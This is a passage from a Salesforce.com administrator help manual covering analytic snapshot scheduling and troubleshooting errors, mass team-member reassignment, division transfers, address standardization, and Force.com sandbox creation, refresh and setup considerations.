Editions and Limits on page 1007.
• Analytic snapshots run in the time zone of the user who schedules the run. For example, if the Time Zone field on your
user record is set to Pacific Standard Time, and you schedule an analytic snapshot to run every day at 2:00 PM, then the
analytic snapshot will run every day at 2:00 PM Pacific Standard Time.
• If you view and save a schedule in a time zone different from the one in which it was scheduled, the time slot could
potentially change. For example, if a user schedules a report in a non-whole-hour time zone, then a second user in a
whole-hour time zone views and saves the schedule, the time slot may be rounded to the nearest hour value.
• If you schedule an analytic snapshot to run on a specific day of every month, the analytic snapshot will only run on months
that have that specific day. For example, if you schedule an analytic snapshot to run on the 31st day of every month, then

270
Data Management Troubleshooting Analytic Snapshots

the analytic snapshot will only run on months that have 31 days. If you want an analytic snapshot to run on the last day of
every month, choose last from the On day of every month drop-down list.
• The analytic snapshot runs within an hour of the time you select in the Preferred Start Time drop-down list. For
example, if you select 2:00 PM as your preferred start time, the analytic snapshot may run any time in between 2:00 PM
or 2:59 PM, depending on how many other analytic snapshots are scheduled to refresh at that time.
• Analytic snapshots will not run as scheduled if the user in the Running User field does not have access to the folder in
which the source report is stored. For more information, see Defining an Analytic Snapshot on page 267 and Managing
Folders on page 647.
Note: If the specified running user is inactive, a notification email is sent to all users with the System Administrator
profile, as well as to all users that have all of the following three permissions: “Manage Users,” “Manage Billing,”
and “Modify All Data.”

• When an analytic snapshot runs, it can add up to 2000 new records to the target object. If the source report generates more
than 2000 records, an error message is displayed for the additional records in the Row Failures related list. You can access
the Row Failures related list via the Run History section of an analytic snapshot detail page. For more information, see
Troubleshooting Analytic Snapshots on page 271

See Also:
Setting Up Analytic Snapshots

Troubleshooting Analytic Snapshots


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, save, and schedule an analytic snapshot: “Manage Analytic Snapshots”
To run an analytic snapshot as a running user and add the “Run Reports”
results to a custom object, the running user must have:
AND
“Create” on the target object

The Run History section of an analytic snapshot detail page displays if an analytic snapshot ran successfully or not. When an
analytic snapshot fails during a scheduled run, the failure is noted in the Result column. To view the details of a run, click
the date and time of the run in the Run Start Time column.
Tip:

• If the Total Row Number is blank, the run failed before the report was completed (for example, the report was
invalid or the running user is inactive).
• When an analytic snapshot runs, it can add up to 2000 new records to the target object. Any records over 2000 are
recorded in the Row Failures related list. If the Total Row Number is blank and the run history indicates “Some
rows failed,” the report likely contained more than 2000 summaries.
• The details of a failed run are available on the Row Failures related list for 14 days before they are automatically
deleted. You cannot retrieve details about row failures from the Recycle Bin.

271
Data Management Troubleshooting Analytic Snapshots

• If you have a unique field in the target object, and records in the report have more than one of the same value in
the column mapped to that unique field, duplicate records are not added. The run history indicates when records
are not added to the analytic snapshot.
• If field mappings failed, the snapshot still runs, but the run history shows that there was a partial error.

An analytic snapshot could fail during a scheduled run for a number of reasons. The table below lists the errors a failed run
may display and how the errors can help you troubleshoot the analytic snapshot so that it will run successfully.

Error Description
Running user does not have permission to The user in the Running User field does not have the “Run
run reports. Reports” or “Create and Customize Reports” permission.
Choose a user with the appropriate permissions or add the
appropriate permissions to the existing running user's profile.
For more information, see Managing Profiles on page 142.
Cannot run analytic snapshot because The report in the Source Report field was deleted and no
source report has been deleted. longer available to run. Choose another source report for your
analytic snapshot or restore the deleted report from the Recycle
Bin. For more information, see Recycle Bin on page 1593.
Running user does not have permission to The user in the Running User field does not have access to
access source report. the folder in which the source report is stored. Choose a user
with access to the source report or provide the existing running
user with access to the folder in which the source report is
stored. For more information, see Managing Folders on page
647.
Source report definition is obsolete. The report in the Source Report field references a custom
object that is no longer available for reports or the relationships
between the objects in the report have changed. For more
information, see Managing Custom Objects on page 770 and
Overview of Relationships on page 771.
Source report definition is invalid. The report in the Source Report field cannot run because
it contains invalid formulas or filter criteria. Update the report
so that it can run without errors. For more information, see
Customizing Reports on page 1898.
Running user does not have permission to The user in the Running User field does not have permission
access report type. to access a report type associated with the report in the Source
Report field. Choose a running user that has the correct
permissions or provide the existing running user with the
appropriate permissions.
Source report must be tabular. The report in the Source Report field is no longer in tabular
format. Choose a new source report or update the existing
source report's format to tabular. For more information, see
Customizing Reports on page 1898.

272
Data Management Troubleshooting Analytic Snapshots

Error Description
Source report last saved with details The report in the Source Report field was saved with its
hidden on report results. details hidden. To display the details of the source report, view
the report, click the Show Details button, and save the report.
Target object has been deleted or is The custom object in the Target Object field has been
inaccessible to running user. deleted or the user in the Running User field does not have
permission to access the target object. Restore the deleted
custom object, choose a new target object, or provide the
existing running user with “Create” permissions to the custom
object in the Target Object field. Note that if the custom
object's status is In Development, the running user must
have the “Customize Application” permission to access the
target object. For more information, see Managing Deleted
Custom Objects on page 784 and Managing Profiles on page
142.
Running user does not have permission to The user in the Running User field does not have “Create”
edit target object. permissions on the custom object in the Target Object
field. Choose a running user that has such permissions or
provide the existing running user with “Create” permissions
to the custom object in the Target Object field. For more
information, see Managing Profiles on page 142.
Target object must not be a detail object The custom object in the Target Object field is a detail
in a master-detail relationship. object in a master-detail relationship, meaning that a master
object controls certain behaviors on the target object's records.
Choose a target object that is not included in a master-detail
relationship. For more information, see Overview of
Relationships on page 771.
Target object must not be included in a The custom object in the Target Object field is included
workflow. in a workflow. Choose a target object that is not included in
a workflow. For more information, see Managing Workflow
and Approvals on page 794.
Target object must not include an insert An Apex trigger runs when new records are created for the
trigger. custom object in the Target Object field. Remove the Apex
trigger or choose a target object for which an Apex trigger
does not run when new records are created. For more
information, see Managing Apex Triggers on page 975.
Target object must not include validation The custom object in the Target Object field contains
rules. validation rules. Choose a target object that does not contain
validation rules or delete validation rules from the existing
target object. For more information, see Managing Validation
Rules on page 508.
Running user is inactive. The user in the Running User field is no longer active.
Choose an active user.

273
Data Management Troubleshooting Analytic Snapshots

Error Description
One or more required fields on the target One or more required fields on the target object are not
object are not mapped. mapped. Map all required fields on the target object to fields
on the source report. For more information, see Mapping
Analytic Snapshot Fields on page 268.
Source report contains too many fields, The report in the Source Report field contains too many
has a formula field with too many fields, criteria, or functions within a formula field. Remove
functions, or contains too many criteria. any unnecessary fields, criteria and functions within formula
fields from the source report. For more information, see
Customizing Reports on page 1898.
Source report cannot have more than 100 The report in the Source Report field contains more than
selected columns. 100 fields. Remove any unnecessary fields from the source
report. For more information, see Customizing Reports on
page 1898.
Target object cannot have more than 100 The custom object in the Target Object field contains
custom fields. more than 100 custom fields. Remove any unnecessary fields
from the target object. For more information, see Deleting
Fields on page 461.
Your report exceeded the time limit for The report in the Source Report field may contain too
processing. much data to process. Reduce the amount of data the report
processes when running by limiting the report's date range
and remove any unnecessary fields from the source report. For
more information, see Customizing Reports on page 1898.
This Analytic Snapshot Unique Name already The new snapshot you are trying to create has the same unique
exists. Please choose a unique name. name as that of a existing snapshot.
A summary field did not return a valid A summary field in the results has not returned a valid number.
number. For example, the field may have attempted to divide by 0.
Check your formulas and test for 0 and “null” in calculations
if they appear in your data.
There is a problem with this analytic The source report format was changed from tabular to
snapshot. The source report format was summary, which made the field mappings in the analytic
changed from tabular to summary. The field snapshot incorrect. To fix this error, either change the report
mappings in the analytic snapshot are no format back to tabular or update the field mappings in the
longer correct. You can change the report snapshot definition. This error only applies to analytic
format back to tabular or update the field snapshots with summary reports.
mappings in the snapshot definition.
There is a problem with this analytic The source report format must be either tabular or summary.
snapshot. Source report must be tabular Matrix reports cannot be used with analytic snapshots.
or summary.
The grouping level you specified in the This error may result when the running user no longer has
analytic snapshot is no longer valid. The access to the field specified in the grouping level, or the
running user may no longer have access to grouping level was removed from the source report or was
that field, the grouping level may have never set. This error only applies to analytic snapshots with

274
Data Management Reassigning Multiple Team Members

Error Description
been removed from the source report, or summary reports. Make sure the running user has access to
the grouping level was never set. all necessary fields.

See Also:
Managing Analytic Snapshots

Reassigning Multiple Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

If your organization uses account teams or sales teams, you can make changes to a team member on multiple records at a time.
Using Salesforce.com, you can add, remove, or replace a team member on any record that contains that team member.
See the following topics for details:

• Adding a Team Member to Multiple Records on page 275


• Removing a Team Member from Multiple Records on page 276
• Replacing a Team Member on Multiple Records on page 277

Adding a Team Member to Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

To add an account or sales team member to multiple records at a time:

1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.

275
Data Management Reassigning Multiple Team Members

2. Choose the Add option and click Next.


3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to change. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose a team member to add to the selected records.
7. Select a role for the new team member.
8. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
9. Click Add.
10. Click Done after reviewing the number of records changed.

Note: To add a new team member to an opportunity, the team member must have read access to the associated
account. Team members who do not have read access to the account will not be added to the opportunity team unless
you have the “Modify All Data” permission or are the account owner or above the account owner in the role hierarchy.

See Also:
Removing a Team Member from Multiple Records
Replacing a Team Member on Multiple Records

Removing a Team Member from Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

To remove an account or sales team member from multiple records at a time:

1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Remove option and click Next.
3. Enter your criteria to find the records you want to change and click Next. See Entering Filter Criteria on page 1916 for
information on finding records.
4. Check the boxes next to the records you want to remove. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose the existing team member to remove from the selected records.

276
Data Management Reassigning Multiple Team Members

7. Select a role. The team member is removed only if he or she plays this role. Or, select “Any Role” to removed the team
member regardless of what role he or she plays.
8. Check the following options when applicable:

• Reassign all open activities... if you want open activities for the removed team member assigned to the
account owner.
• Reassign all open opportunities... if you want open opportunities for the removed team member to be
assigned to the account owner.
• Reassign all open cases... if you want open cases for the removed team member to be assigned to the account
owner.
• Reassign all contacts... if you want to assign all contact records owned by the removed team member to the
account owner.

9. Click Remove.
10. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records
Replacing a Team Member on Multiple Records

Replacing a Team Member on Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members: “Use Team Reassignment Wizards”

To replace an account or sales team member with a different one on multiple records at a time, or to change the role of a team
member:

1. Choose Setup ➤ Data Management ➤ Mass Reassign Account Teams or Setup ➤ Data Management ➤ Mass
Reassign Opportunity Teams.
Depending on your profile, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Replace option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently
displayed items.
5. Click Next.
6. Select the team member currently on the selected records that you want to change.

277
Data Management Transferring Divisions

7. Select the new team member to replace the current one. To simply change the role of a team member, select the existing
team member here as well.
8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role.
9. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
10. Check the following options when applicable:

• Reassign all open activities... if you want to assign all open activity records to the replacement team
member.
• Reassign all open opportunities... if you want to assign all open opportunity records to the replacement
team member.
• Reassign all open cases... if you want to assign all open cases to the replacement team member.
• Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement
team member.

11. Click Replace.


12. Click Done after reviewing the number of records changed.

Note: To replace a team member and reassign associated records, you need the “Modify All Data” permission, or you
must be the record owner or above the record owner in the role hierarchy. Associated records that do not meet these
criteria will not be reassigned.

See Also:
Adding a Team Member to Multiple Records
Removing a Team Member from Multiple Records

Transferring Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To mass transfer divisions: “Modify All Data”

To change the division for multiple records at one time:

1. Click Setup ➤ Data Management ➤ Mass Division Transfer.


2. Select the type of record for which you want to reassign divisions, and click Next.
When you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities,
inherit the division of that account. Likewise, transferring divisions for custom objects includes any custom objects on the
detail side of a master-detail relationship with that custom object.
3. Set the search conditions that the records must match, and click Next.
4. Select the new division for the matching records.

278
Data Management Mass Updating Addresses

5. When transferring users, select the Change the division... checkbox to also change the division of the records
owned by the users.
6. Click Transfer.
If you are transferring less than 5,000 records, they are transferred immediately. A confirmation message displays when
the transfers are complete.
If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email
notification when the transfers are complete.

See Also:
Divisions Overview
Changing Your Working Division
Changing Your Default Division

Mass Updating Addresses


Available in: All Editions

User Permissions Needed


To mass update addresses: “Modify All Data”
To mass update addresses of contracts:
“Modify All Data”
AND
“Activate Contracts”

Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's
existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US,
USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the
records.

1. Choose Setup ➤ Data Management ➤ Mass Update Addresses.


2. Select the type of data to update - Countries or State/Province. If you chose State/Province, enter the country
in which to update the state or province. Click Next to continue.
3. Select the values to update and click Add. The Selected Values box displays the values that will be updated. To remove
values, click Remove.
The Available Values box displays the address values found in existing records. To find additional addresses to update
together as a group, enter all or part of a value and click Find.
If your organization has large amounts of data, instead of using the Available Values box, enter existing values to update
in the text area. Each value should be separated by a new line.

279
Data Management Force.com Sandbox

4. In the Replace selected values with field, enter the value with which to replace the specified address data, and
click Next. If your organization has large amounts of data, this field is called Replace entered values with.
The number and type of address records which will be updated in your organization are displayed. If your organization
has large amounts of data, only the values that will be updated are displayed.
5. Click Replace to update the values.

Tips on Mass Updating Addresses


• As a best practice, update countries first, and then update states or provinces within that newly standardized country value.
• Use the mass updating address tool to convert inconsistent address formats to one international standard, such as ISO
codes. For a list of ISO codes, see the International Organization for Standardization website.
• Use the mass updating tool regularly to cleanse your address data of inconsistent values created by users or via import, sync,
or the Force.com API.
• Any country or state/province value can be created manually or via import, sync, or the Force.com API. Address values
are not validated upon creation.
• Remember to change filter conditions to reflect any address updates. For example, if you change “United States” to “US,”
then assignment rules, Web-to-Lead, Web-to-Case, Email-to-Case, and On-Demand Email-to-Case will continue to
use “United States” unless updated to “US.”

Force.com Sandbox
Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

Salesforce.com gives you the ability to create multiple copies of your organization in separate environments for a variety of
purposes, such as testing and training, without compromising the data and applications in your Salesforce.com production
organization. These copies are called sandboxes and are nearly identical to your Salesforce.com production organization. For
a list of differences, see Force.com Sandbox Setup Tips and Considerations on page 283.
Sandboxes are completely isolated from your Salesforce.com production organization, so operations you perform in your
sandboxes do not affect your Salesforce.com production organization, and vice-versa.
There are three types of sandboxes:
Configuration Only
Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Setup, but exclude all of your organization's standard and custom object records,
documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh
a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data.

280
Data Management Force.com Sandbox

Developer Sandbox
Developer Sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, Developer Sandboxes copy all application and configuration information
to the sandbox. Developer Sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks.

Full
Full sandboxes copy your entire production organization and all of its data, including standard and custom object records,
documents, and attachments.

Sandbox Limits
The following limits apply to sandboxes:
• You may order a maximum of three full sandboxes.
• Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes.
• You may order a maximum of six configuration-only sandboxes.
• You can refresh each sandbox 29 days from its previous refresh or creation.
Note: Contact salesforce.com to order sandboxes for your organization.

See Also:
Creating or Refreshing a Sandbox
Force.com Sandbox Setup Tips and Considerations
Managing Sandboxes

Creating or Refreshing a Sandbox


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

To create or refresh a sandbox:

1. Click Setup ➤ Data Management ➤ Sandbox.


2. Select one of the following:

• Click New Sandbox to create a new sandbox. For information on different kinds of sandboxes, see Force.com Sandbox
on page 280.

281
Data Management Force.com Sandbox

Salesforce.com deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary,
contact salesforce.com to order more sandboxes for your organization.
Note that Salesforce.com deactivates all refresh links if you have exceeded your sandbox limit.
• Click Refresh to replace an existing sandbox with a new copy. Salesforce.com only displays the Refresh link for
sandboxes that are eligible for refreshing, which is any time after 30-days from the previous creation or refresh of that
sandbox. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed
copy is inactive until you activate it.

3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.
Tip: We recommend that you choose a name that:

• Reflects the purpose of this sandbox, such as “QA.”


• Has few characters because Salesforce.com automatically appends the sandbox name to usernames and email
addresses on user records in the sandbox environment. Names with fewer characters make sandbox logins easier
to type.

4. Select the type of sandbox:

• Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Setup, but exclude all of your organization's standard and custom object records,
documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or refresh
a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data.
• Developer Sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, Developer Sandboxes copy all application and configuration information
to the sandbox. Developer Sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks.
• Full sandboxes copy your entire production organization and all of its data, including standard and custom object
records, documents, and attachments.
• If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than
allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example,
if you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead,
you must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox,
depending on which type of sandbox you have available.
Note: Configuration-only and Developer Sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Setup, but exclude all of your organization's standard and
custom object records, documents, and attachments. Because they copy much less data, creating these sandbox
types can substantially decrease the time it takes to create or refresh a sandbox.

If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox
you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration
Only.
Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already
created the number of sandboxes of that sandbox type allowed for your organization.
5. Click Start Copy.
The process may take several minutes, hours, or even days, depending on the size of your organization and whether you
are creating a full copy or configuration-only copy.

282
Data Management Force.com Sandbox

Tip: You should try to limit changes in your production organization while the sandbox copy proceeds.

6. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are
creating a new sandbox, the newly created sandbox is now ready for use.
If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new
sandbox must be activated. To delete your existing sandbox and activate the new one, return to the sandbox list by logging
into your production organization and navigating to Setup ➤ Data Management ➤ Sandbox. Then click the Activate
link next to the sandbox you wish to activate. This will take you to a page warning of removal of your existing sandbox.
Please read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click
the Activate button. When the activation process is complete, you will receive a notification email.
Caution: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox
it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data
changes you have made. Please read the warning carefully, and press the Activate link only if you have no further
need for the contents of the sandbox copy currently in use. Your production organization and its data will not be
affected.

7. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email
to access your sandbox.
Users can log into the sandbox at https://www.test.salesforce.com/login.jsp by appending .sandbox_name
to their Salesforce.com username. For example, if your username for your production organization is user1@acme.com,
then your username for a sandbox named “test” is user1@acme.com.test. For more information, see Username and
Email Address Modification on page 284.
Note: Salesforce.com automatically changes sandbox usernames but does not change passwords.

Force.com Sandbox Setup Tips and Considerations


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

Consider the following before you create a sandbox.

Servers and IDs


• The organization IDs of your sandboxes differ from your production organization ID, and will change each time your
sandbox is refreshed.

283
Data Management Force.com Sandbox

• Salesforce.com stores sandbox organizations on several instances. When a sandbox is created or refreshed, an instance is
selected for your sandbox, so your sandbox may appear on different instances and have different URLs.
• When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your
sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox
will not contain matching object IDs.

Username and Email Address Modification


• User information is included in a sandbox copy or refresh for all sandbox types. Because all Salesforce.com usernames must
be unique and reference a single organization, all copied usernames are modified to ensure uniqueness during the copy
process. Usernames are modified differently for each sandbox copy. Entering a particular modified username will log you
into a specific sandbox.
• For each username, the copy process applies one or two modifications as necessary to generate a unique new username:
- First, the sandbox name is appended to the username, so that for a sandbox named test, user@acme.com may become
user@acme.com.test.
- If the resulting username is not unique, a second modification is performed in which a number of characters and digits
are prepended to the modified username. This second modification may result in a username such as
00x7Vquser@acme.com.test.

• Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, do not receive
automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation
rules. By modifying user email addresses, any email messages sent from the sandbox are not delivered to production users.
• You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and
training.
Caution: Sandboxes automatically change Salesforce.com user email addresses, but do not change other email
addresses in Salesforce.com, such as those in contact records. To avoid sending unsolicited email from your
sandboxes, manually invalidate or delete all email addresses in your sandboxes that do not belong to users. When
testing the generation of outbound email, change contact email addresses to those of testers or an automated test
script.

Creating, Refreshing, and Deleting Sandboxes


• Sandbox copy is a long-running operation that occurs in the background. You are notified of the completion of a sandbox
copy via email. Sandbox refreshes may complete in minutes, days, or even more than a week.
• A number of conditions factor into the duration of a sandbox copy or refresh, including the number of customizations,
data size, numbers of objects (for full copies), and server load. Also, sandbox refreshes are queued, so your requested copy
may not start immediately after your request.
• A sandbox is not a point-in-time snapshot of the exact state of your data. Furthermore, we recommend that you limit
changes to your production organization while a sandbox is being created or refreshed. Setup and data changes to your
production organization during the sandbox creation and refresh operations may result in inconsistencies in your sandbox.
You may detect and correct some inconsistencies in your sandbox after it is copied or refreshed.
• Some types of sandboxes may not be available to choose from if you already reached your organization's limit of the types
of sandboxes you can create or refresh. For example, if your organization is limited to one full sandbox, and a full sandbox
is already created, you may not select Full when creating a new sandbox. However, you may refresh your existing full
sandbox.
• When you are finished with a sandbox, you can refresh it to create a new copy. However, if you have reduced your
organization's number of sandboxes, a Delete link displays next to existing sandboxes, allowing you to delete a sandbox
of your choice. Note that you must delete a sandbox before you can refresh any more sandboxes.
• If you have active Salesforce to Salesforce connections in your sandbox, you must deactivate and then reactivate the
connection(s) after the sandbox is refreshed.

284
Data Management Force.com Sandbox

Accessing Sandboxes
• Access Changes for Sandbox Users
- A sandbox refresh deletes and recreates the sandbox as a new copy of the production organization. In effect, this reverses
any manual access changes you've performed. If you created sandbox-only users, they will no longer exist, and a user’s
profile and permissions revert to their values in the production organization. This means that after a refresh, any access
changes will need to be repeated in the new copy.
- You can create users in your production organization that are inactive, and then activate them in sandbox. This is a
good way to create a user in sandbox that has the appropriate permissions to develop in sandbox. For more information,
see Editing Users on page 130.
- Many development and testing tasks require the Modify All Data permission. Because your developers might not have
that permission in the production organization, you may need to increase their permissions in sandbox. Exercise caution
when granting this permission in sandbox organizations that contain sensitive information copied from production (for
example, social security numbers). To change organization permissions, see User Permissions on Profiles on page 150.
- You can create new users for sandbox development, but these count against the number of licensed users in your
organization. To reduce your license count, you can disable production users who won’t need access to the sandbox.
For more information, see Deactivating Users on page 131.
- To grant users access to a sandbox, you must log in as the administrator on the sandbox organization, and then create
or upgrade user access in the sandbox.

• Always log in to your sandbox organization using the https://test.salesforce.com login URL.
• Remember to log in using the modified username as described in Username and Email Address Modification on page 284.
• If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent
access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access.
• All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Setup ➤ Security Controls ➤ Single Sign-On Settings; then click Edit, and select SAML
Enabled. You must change the value of the Recipient URL in the certificate for your client application as well. For more
information, see Understanding SAML in Salesforce.com on page 227 and Configuring SAML Settings for Single Sign-On
on page 227.

Sandbox Storage Limits


• Full copy sandboxes have the same storage limit as your production organization.
• Configuration-only sandboxes have a 500 MB storage limit.
• Developer Sandboxes have a 10 MB storage limit.
• Sandboxes do not send email notifications when storage limits are reached. However, if you reach your sandbox's storage
limit, you cannot save new data in your sandbox. To check your sandbox's storage limits, click Setup ➤ Data Management
➤ Storage Usage in your sandbox. For more information on storage limits, see Monitoring Resources on page 253.

Customization and Data Changes


• Customizations and data changes in your production organization do not automatically appear in your sandboxes. You
must create a new sandbox or refresh an existing one to see the customizations made to your organization since the last
time you created or refreshed a sandbox.
• You can only add, edit, or delete Apex using the Salesforce.com user interface in a Developer Edition or sandbox organization.
In a Salesforce.com production organization, you can only make changes to Apex by using the compileAndTestAPI()
call. For more information, see the Force.com Apex Code Developer's Guide.
• If your sandbox is the same version as Force.com AppExchange, you can:
- Install and deploy apps from Force.com AppExchange in your sandbox.

285
Data Management Force.com Sandbox

- Publish apps from your sandbox to Force.com AppExchange.


Publishing managed packages from a Force.com Sandbox is not advised, as refreshing or deleting the sandbox will
prevent any revisions to that managed package.

The version of your sandboxes may differ from Force.com AppExchange around the time of a Salesforce.com release.
Check the logo in the upper left corner of your sandbox home page for version information.

Service Exclusions
• The following features are disabled and cannot be enabled in sandboxes:
- Case escalation
- Opportunity reminders
- Contract expiration warnings
- Subscription summary
- Automated weekly data exports
- The ability to create Salesforce.com sandboxes.
Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send
email to contacts, customers and users who should not interact with sandboxes.
- Testing Salesforce CRM and Google AdWords in your sandbox is not supported. Attempting to test Salesforce CRM
and Google AdWords in your sandbox will result in errors because your sandbox organization operates with the same
link to your Google AdWords account as your production organization.
- Email service addresses that you create in your sandbox cannot be copied to your production organization.

Other Service Differences


• Only custom links created as relative URLs, such as /00Oz0000000EVpU&pv0={!Account_ID} will work when copied
to your sandboxes. Custom links created as absolute URLs, such as
https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, do not work in your organization's
sandboxes. We recommend that you use only relative URLs in your production organization. Otherwise, you will need to
correct the URLs in each sandbox.
• Salesforce.com has a background process that permanently deletes records in the Recycle Bin that are older than 30 days.
This process runs at different times on different servers, so its timestamp in your sandbox differs from its timestamp in
your production organization. Applications and integrations that depend on this timestamp may fail if they are first
connected to one environment, such as your production organization, and then later connected to another environment,
such as your sandbox. Keep this in mind when developing applications and integrations that depend on this timestamp.
Note that the time of the latest execution of the background delete process is available through the getDeleted() API
call. For more information, see the Force.com Web Services API Developer's Guide.

See Also:
Force.com Sandbox

286
Data Management Force.com Sandbox

Managing Sandboxes
Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view a sandbox: “View Setup and Configuration”
To create, refresh, activate, and delete sandboxes: “Modify All Data”

To manage your sandboxes, click Setup ➤ Data Management ➤ Sandbox. A list of your existing sandboxes displays.

• Click New Sandbox to create a new sandbox. For information on different kinds of sandboxes, see Force.com Sandbox
on page 280.
Salesforce.com deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.
Note that Salesforce.com deactivates all refresh links if you have exceeded your sandbox limit.
• Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and
who created them.
• Click Refresh to replace an existing sandbox with a new copy. Salesforce.com only displays the Refresh link for sandboxes
that are eligible for refreshing, which is any time after 30-days from the previous creation or refresh of that sandbox. Your
existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive
until you activate it.
• Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it.
Salesforce.com only displays this option for sandboxes that are not activated.
Caution: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently
deletes the existing version and all data in it. Your production organization and its data will not be affected.

• Click Del to delete a sandbox. The delete option is only available if your organization exceeds its sandbox limit.
Caution: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and
its data will not be affected.

• Click Login to log in to a sandbox. Salesforce.com only displays this option for active sandboxes.
Note that the Login button is for administrators and may not always be available; however, you can log into an active
sandbox at https://test.salesforce.com by entering your modified username and password. To change your
username or password, see Changing Your Password on page 60.
• Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.

See Also:
Force.com Sandbox

287
Data Management Importing Overview

Importing Overview
Available in: All Editions
Organization import not available in: Personal Edition
Custom object import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Solution import not available in: Personal, Contact Manager, and Group Editions
